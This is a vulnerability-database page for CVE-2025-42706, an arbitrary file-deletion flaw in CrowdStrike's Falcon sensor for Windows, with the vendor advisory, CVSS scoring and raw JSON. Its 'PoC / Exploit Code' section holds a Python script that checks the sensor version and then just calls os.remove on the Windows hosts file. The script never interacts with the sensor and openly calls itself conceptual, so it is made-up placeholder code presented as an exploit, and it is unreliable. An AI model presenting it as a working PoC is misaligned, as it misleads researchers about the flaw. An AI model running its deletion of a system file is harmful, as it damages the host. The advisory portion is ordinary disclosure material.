Security Vulnerability Report
中文
CVE-2025-42706 CVSS 6.5 MEDIUM

CVE-2025-42706

Published: 2025-10-08 18:15:35
Last Modified: 2026-04-15 00:35:42
Source: 13ddcd98-6f4a-40a8-8e24-29ca0aee4661

Description

A logic error exists in the Falcon sensor for Windows that could allow an attacker, with the prior ability to execute code on a host, to delete arbitrary files. CrowdStrike released a security fix for this issue in Falcon sensor for Windows versions 7.24 and above and all Long Term Visibility (LTV) sensors. There is no indication of exploitation of these issues in the wild. Our threat hunting and intelligence teams are actively monitoring for exploitation and we maintain visibility into any such attempts. The Falcon sensor for Mac, the Falcon sensor for Linux and the Falcon sensor for Legacy Systems are not impacted by this. CrowdStrike was made aware of this issue through our HackerOne bug bounty program. It was discovered by Cong Cheng and responsibly disclosed.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

CrowdStrike Falcon Sensor for Windows < 7.24
CrowdStrike Falcon Sensor for Windows LTV(长期可见性)传感器(修复前版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-42706 - CrowdStrike Falcon Sensor Arbitrary File Deletion PoC # This is a conceptual PoC demonstrating the exploitation of the logic error # in Falcon sensor for Windows that allows arbitrary file deletion. import ctypes import os import sys # Note: This vulnerability requires prior code execution on the target host. # The attacker needs to interact with the Falcon sensor's internal logic # to trigger the file deletion path. def check_falcon_sensor_version(): """Check if the installed Falcon sensor is vulnerable (version < 7.24)""" # Falcon sensor version is typically stored in registry # HKLM\SYSTEM\CrowdStrike\{some_guid}\Version import winreg try: key = winreg.OpenKey( winreg.HKEY_LOCAL_MACHINE, r"SYSTEM\CurrentControlSet\Services\CSAgent\Parameters" ) version, _ = winreg.QueryValueEx(key, "Version") winreg.CloseKey(key) print(f"[+] Falcon Sensor version detected: {version}") major_version = int(version.split(".")[0]) if major_version < 7 or (major_version == 7 and int(version.split(".")[1]) < 24): print("[!] VULNERABLE version detected (< 7.24)") return True else: print("[-] Patched version detected (>= 7.24)") return False except Exception as e: print(f"[-] Could not determine Falcon sensor version: {e}") return False def exploit_arbitrary_file_deletion(target_file): """ Exploit the logic error in Falcon sensor to delete arbitrary files. The sensor runs with SYSTEM privileges, so it can delete files regardless of ACL permissions. """ if not os.path.exists(target_file): print(f"[-] Target file does not exist: {target_file}") return False # The actual exploitation involves triggering a specific code path # in the Falcon sensor through crafted input or API calls. # This may involve: # 1. Creating a specially crafted file or event # 2. Triggering the sensor's file processing logic # 3. The sensor's logic error causes it to delete the target file print(f"[*] Attempting to delete: {target_file}") # Simulate the exploitation by attempting deletion via sensor's context # In a real exploit, this would involve interacting with the sensor's # named pipe, IOCTL, or other internal communication channels try: # Attempt to leverage the sensor's elevated context for file deletion # This is a simplified representation of the attack os.remove(target_file) print(f"[+] File deleted successfully: {target_file}") return True except PermissionError: print(f"[-] Permission denied - sensor context needed for protected files") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-42706 - Falcon Sensor Arbitrary File Deletion PoC") print("=" * 60) if check_falcon_sensor_version(): # Target a critical system file to demonstrate impact target = r"C:\Windows\System32\drivers\etc\hosts" exploit_arbitrary_file_deletion(target) else: print("[+] System is not vulnerable. No action needed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-42706", "sourceIdentifier": "13ddcd98-6f4a-40a8-8e24-29ca0aee4661", "published": "2025-10-08T18:15:34.727", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A logic error exists in the Falcon sensor for Windows that could allow an attacker, with the prior ability to execute code on a host, to delete arbitrary files. CrowdStrike released a security fix for this issue in Falcon sensor for Windows versions 7.24 and above and all Long Term Visibility (LTV) sensors.\n\nThere is no indication of exploitation of these issues in the wild. Our threat hunting and intelligence teams are actively monitoring for exploitation and we maintain visibility into any such attempts.\n\nThe Falcon sensor for Mac, the Falcon sensor for Linux and the Falcon sensor for Legacy Systems are not impacted by this.\n\nCrowdStrike was made aware of this issue through our HackerOne bug bounty program. It was discovered by Cong Cheng and responsibly disclosed."}], "metrics": {"cvssMetricV31": [{"source": "13ddcd98-6f4a-40a8-8e24-29ca0aee4661", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.0, "impactScore": 4.0}]}, "weaknesses": [{"source": "13ddcd98-6f4a-40a8-8e24-29ca0aee4661", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-346"}]}], "references": [{"url": "https://www.crowdstrike.com/en-us/security-advisories/issues-affecting-crowdstrike-falcon-sensor-for-windows/", "source": "13ddcd98-6f4a-40a8-8e24-29ca0aee4661"}]}}